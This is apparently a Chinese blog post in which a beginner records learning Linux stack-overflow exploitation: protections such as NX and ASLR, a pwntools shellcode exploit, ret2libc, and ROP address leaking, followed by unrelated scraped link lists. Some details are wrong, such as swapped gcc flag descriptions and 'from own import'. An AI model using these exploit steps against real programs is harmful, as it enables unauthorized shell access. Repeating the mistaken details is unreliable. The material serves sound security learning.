pwn学习(1)
0x00 简介
入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习。
0x01 保护方式
NX (DEP):堆栈不可执行
ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图。

Canary(GS):栈保护,栈被溢出时,会触发异常
RELRO:GOT不可更改
0x02 栈溢出
额外说一句,gcc如何对各种保护的开关
- -fno-stack-protector:关闭堆栈不可执行
- -z execstack:关闭canary
系统关闭 ASLR:echo 0 > /proc/sys/kernel/randomize_va_space
蒸米大佬测试溢出点用的是patterm.py 这个工具我没用过,我用的是cyclic
生成有序字符串

寻找到内存出错的地址后,寻找返回地址偏移

计算出返回地址的覆盖偏移之后,构造 ‘A’ + ret_addr 即可让程序跳转到我们想返回的地址了
测试程序没有开启NX,所以直接可以在堆栈上执行代码
pwntools提供的函数 shellcraft.sh()可以直接生成一段shellcode
- 提示:默认的模式为x86,x64的需要更改模式context.arch = 'amd64'
- 想知道生成的shellcode汇编指令是啥,可以利用disasm(asm(shellcraft.sh()))查看
开启 core dump功能
sudo sh -c 'echo "/tmp/core.%t" > /proc/sys/kernel/core_pattern'
开启之后,当出现内存错误的时候,系统会生成一个core dump文件在tmp目录下。然后再用gdb查看core文件就可以获得buff的真正地址
首先运行程序,输入一串溢出的字符,程序崩溃后,在/tmp文件夹生成core文件
使用命令 gdb ./test /tmp/core.123123123,之后 gdb会显示崩溃的 EIP ,知道溢出点的偏移(140),再加上四个字节的ret地址,可以计算buff的地址为 $esp-144 x/10s $esp - 144,得到buff地址之后,开始写 exp
from own import * #使用pwntools工具库 p = process('./test')#本地测试
#p = remote('127.0.0.1',9999)#远程测试
ret = 0xXXXXXXXX
shellcode = asm(shellcraft.sh()) payload = shellcode + 'a' * (140 - len(shellcode)) + p32(ret) #发送payload
p.send(payload)
#开启交互shell
p.interactive()
将程序作为一个服务绑定到某个端口上
socat TCP4-LISTEN:10001,fork EXEC:./test
0x03 ret2libc PASS NX
- 现在将程序的NX保护开启,依然关闭canary 和 aslr
- 此时堆栈不可执行,上一个poc无法getsehll
- 程序运行时会加载libc.so 文件,而这个文件中肯定有system和/bin/sh的
- 如果关掉了aslr,system在内存中的地址是不会变化的,我们只要知道这两个地址就可getsehll
- gdb调试起来,先在main函数下断点,系统才会将libc.so加载到内存中
- 然后 print system 打印出system函数地址
- 找到字符串 find 0xlibcstart ,+libcsize,"/bin/sh"
- 写exp
- 注意payload的构造 [padding] + [system_addr] + [junk] + [bin_addr]
0x04 ROP PASS DEP && ASLR
开启系统的 ASLR ,此时你会发现上一个exp失去作用
echo 2 > /proc/sys/kernel/randomize_va_space
原因是 ASLR 开启后,libc.so 每次加载的地址都不同了,寻找的system和binsh地址自然不对,所以失败
查看程序内存空间布局可以通过 gdb 调试程序然后 vmmap 或者 info proc mappings,也可以 直接运行程序,找到pid cat /proc/[pid]/maps或者ldd (ldd我并没有测试)
思路:首先泄露出一个函数真正的地址,然后根据偏移算出system函数和binsh的地址
如何泄露出函数的地址呢?第一次覆盖返回地址为 write@plt 再给上 write@got 的地址,打印出libc中write的地址之后,因为libc中几个函数的相对偏移是不变的,就可以得到system的地址了
打印出函数地址之后,将 eip 重新指向 函数开始 这次将返回地址覆盖为 system函数的地址 并构造好参数 即可getsehll
0x05 总结
- rop初级用法 ,只能突破aslr和nx保护,接下来还要继续学习。
参考文章
pwn学习(1)的更多相关文章
- PWN学习之格式化字符串漏洞
目录 PWN学习之格式化字符串漏洞 格式化输出函数 格式化字符串漏洞 漏洞利用 使程序崩溃 栈数据泄露 任意地址内存泄漏 栈数据覆盖 任意地址内存覆盖 PWN学习之格式化字符串漏洞 格式化输出函数 可 ...
- PWN学习之整数溢出
目录 PWN学习之整数溢出 整数溢出 溢出和回绕 漏洞多发函数 整数溢出例子 PWN学习之整数溢出 整数溢出 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生潜在的危险.通常情况下, ...
- PWN学习之栈溢出
目录 PWN学习之栈溢出 前言 写bug bug.cpp源码 OD动态调试bug.exe OD调试观察溢出 栈溢出攻击之突破密码验证 x64位栈溢出 PWN学习之栈溢出 前言 我记得我在最开始学编程的 ...
- [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇
目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...
- pwn学习之二
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字 ...
- pwn学习之一
刚刚开始学习pwn,记录一下自己学习的过程. 今天完成了第一道pwn题目的解答,做的题目是2017年TSCTF的bad egg,通过这道题学习到了一种getshell的方法:通过在大小不够存储shel ...
- pwn学习日记Day7 基础知识积累
知识杂项 strncpy(char s1,const char s2,int n); 其中有三个参数分别表示目标字符串s1,源字符串s2,拷贝长度.意思是将s2指向的字符串的前n个长度的字符放到s1指 ...
- pwn学习日记Day5 基础知识积累
知识杂项 int mprotect(const void *start, size_t len, int prot); mprotect()函数把自start开始的.长度为len的内存区的保护属性修改 ...
- Arm pwn学习
本文首发于“合天智汇”公众号 作者:s0xzOrln 声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关! 刚刚开始学习ARM pwn,下面如有错 ...
随机推荐
- python中的__dict__,__getattr__,__setattr__
python class 通过内置成员dict 存储成员信息(字典) 首先用一个简单的例子看一下dict 的用法 class A(): def __init__(self,a,b): self.a = ...
- magento-2.2.6-1VM环境镜像-沙箱 - - 完全隔离的环境
打包处理下载地址: 链接:https://pan.baidu.com/s/1HX0WjWEN8Wc-4TDvgEWMog 提取码:s2ls 官方下载 文档 BITNAMI MAGENTO堆栈虚拟机 B ...
- 牛客网 272B Xor Path(树上操作)
题目链接:Xor Path 题意:每个顶点的点权为Ai,任意两点路径上点权异或和为Path(i,j),求所有Path(i,j)和. 题解:考虑每个顶点被用到的次数,分以下三种情况: 1.本身和其他顶点 ...
- springMVC统一异常处理
Spring MVC处理异常有3种方式: 使用Spring MVC提供的简单异常处理器SimpleMappingExceptionResolver: 实现Spring的异常处理接口HandlerExc ...
- java线程池与五种常用线程池策略使用与解析
背景:面试中会要求对5中线程池作分析.所以要熟知线程池的运行细节,如CachedThreadPool会引发oom吗? java线程池与五种常用线程池策略使用与解析 可选择的阻塞队列BlockingQu ...
- python全栈开发中级班全程笔记(第二模块、第四章)(常用模块导入)
python全栈开发笔记第二模块 第四章 :常用模块(第二部分) 一.os 模块的 详解 1.os.getcwd() :得到当前工作目录,即当前python解释器所在目录路径 impor ...
- SSM框架中,controller的action返回参数给vue.js
在SSM框架中,controller的action中,返回的是视图,即jsp页面或是ModelAndView,若是通过axios给vue传值的话,需要转换为字符串或是user实体类对象. 使用@Res ...
- Exp6 信息收集与漏洞扫描
一.实践过程 1.信息收集 1.1 通过DNS和IP查询目标网站的信息 (1)whois命令用来进行域名注册信息查询,可查询到3R注册信息,包括注册人的姓名.组织和城市等信息. whois baidu ...
- Kubernetes实战:目录
一.Docker实战 Docker: 基础介绍 [一] Docker:Docker 性质及版本选择 [三] Docker:网络及数据卷设置 [四] Docker:手动制作镜像 [五] Docker:d ...
- DirectX11--HLSL编译着色器的三种方法
前言 本教程不考虑Effects11(FX11),而是基于原始的HLSL. 目前编译与加载着色器的方法如下: 使用Visual Studio中的HLSL编译器,随项目编译期间一同编译,并生成.cso( ...